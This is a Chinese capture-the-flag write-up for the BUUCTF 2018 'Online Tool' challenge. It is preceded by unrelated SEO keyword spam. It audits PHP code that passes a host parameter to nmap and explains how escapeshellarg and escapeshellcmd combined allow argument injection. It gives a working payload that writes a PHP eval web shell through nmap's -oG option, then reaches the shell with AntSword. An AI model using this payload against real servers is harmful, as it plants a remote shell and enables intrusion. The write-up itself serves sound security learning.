adsense用什么网站做,wordpress 多站点 固定链接,如何建立搜索功能的网站,wordpress 自定义插件开发题目 打开页面显示如下#xff0c;进行代码审计 上述代码主要功能是接收‘host’参数#xff0c;后使用nmap扫描主机端口
首先检查是否存在HTTP_X_FORWARDED_FOR头#xff0c;若存在#xff0c;将值赋值给EMOTE_ADDR,是为了跟踪用户真实的IP地址
后用检查get‘host’是否…题目 打开页面显示如下进行代码审计 上述代码主要功能是接收‘host’参数后使用nmap扫描主机端口
首先检查是否存在HTTP_X_FORWARDED_FOR头若存在将值赋值给EMOTE_ADDR,是为了跟踪用户真实的IP地址
后用检查get‘host’是否设置如果没有就会用highlight_file(FILE)函数高亮显示代码
若设置了host的值会被存储到变量$host中然后将escapeshellarg函数会对其进行转义处理以防止注入攻击。然后生成一个基于远程ip地址的md5散列值将其作为沙箱目录的名称并切换到这个目录下
$sandbox md5(glzjin. $_SERVER[REMOTE_ADDR]);
echo you are in sandbox .$sandbox;
mkdir($sandbox);
chdir($sandbox);
代码首先使用远程IP地址$_SERVER[REMOTE_ADDR]和一个固定字符串glzjin生成一个MD5散列值并将其存储在变量$sandbox中。接着它输出一个包含这个散列值的消息you are in sandbox然后创建mkdir一个以这个散列值为名称的目录并切换chdir到这个新创建的目录下。
注意这段代码使用了mkdir和chdir函数并且在mkdir函数中使用了错误抑制运算符这意味着如果在尝试创建目录时遇到错误错误信息会被抑制不会在页面上显示出来。
最后nmap命令扫描指定主机。 经过上述代码审计可以发现最后一句echo system的语句就是可以进行恶意攻击的点system执行一条nmap命令在后面拼接上$host的内容而$host是变量可控的可以想到使用执行多条命令但是代码中存在对host的过滤escapeshellarg和escapeshellcmd两个函数
经过escapeshellcmd函数的处理后大部分命令都会被转义但是当escapeshellagr()和escapeshellcmd()函数共同使用时就会产生逻辑漏洞
这里参考大佬的本地测试进行理解[BUUCTF 2018]Online Tool_Fox_light的博客-CSDN博客
可以利用这点进行恶意语句插入但、||等逻辑符号都会被转义只能使用nmap命令“-oG”进行写文件
构造payload
?host ?php eval($_POST[hack]);? -oG hack.php 写入文件成功接下来访问写入的文件由代码审计可得文件再$sandbox目录下
http://0b956188-ef3b-4720-9677-f6fe215a57f4.node4.buuoj.cn:81/6b17d6cfb6c6a0721adf2f0de6dac5bc/hack.php
然后使用蚁剑连接 得到flag 参考文章链接
[BUUCTF 2018]Online Tool_Fox_light的博客-CSDN博客